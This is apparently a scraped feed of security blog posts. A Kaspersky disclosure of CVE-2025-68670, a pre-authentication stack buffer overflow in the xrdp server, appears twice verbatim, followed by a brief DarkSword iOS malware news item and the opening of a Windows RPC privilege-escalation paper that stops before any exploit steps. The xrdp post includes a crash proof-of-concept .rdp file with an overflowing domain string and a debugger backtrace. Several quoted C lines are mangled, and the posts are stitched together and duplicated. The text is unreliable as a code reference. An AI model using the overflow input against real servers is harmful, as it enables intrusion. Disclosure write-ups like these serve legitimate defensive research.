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CVE-2025-68670: discovering an RCE vulnerability in xrdp

8 May 2026 at 10:00

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

  • 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
  • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
  • 12/15/2025: investigation and prioritization of the vulnerability began.
  • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
  • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
  • 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

CVE-2025-68670: discovering an RCE vulnerability in xrdp

8 May 2026 at 10:00

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

  • 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
  • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
  • 12/15/2025: investigation and prioritization of the vulnerability began.
  • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
  • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
  • 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

DarkSword Malware

5 May 2026 at 12:42

DarkSword is a sophisticated piece of malware—probably government designed—that targets iOS.

Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.

DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.

A week after it was identified, a version of it leaked onto the internet, where it is being used more broadly.

This news is a month old. Your devices are safe, assuming you patch regularly.

PhantomRPC: A new privilege escalation technique in Windows RPC

24 April 2026 at 10:00

Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

  • When TCP is used as the transport layer, the endpoint is a TCP port.
  • When SMB is used, communication occurs through a named pipe.
  • When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

  • ncacn_ip_tcp is used for RPC over TCP.
  • ncacn_np is used for RPC over named pipes.
  • ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

  • UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
  • Endpoint: ncalrpc:[TermSrvApi].
  • Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

  • 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

  • A pointer to the returned port handle.
  • The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

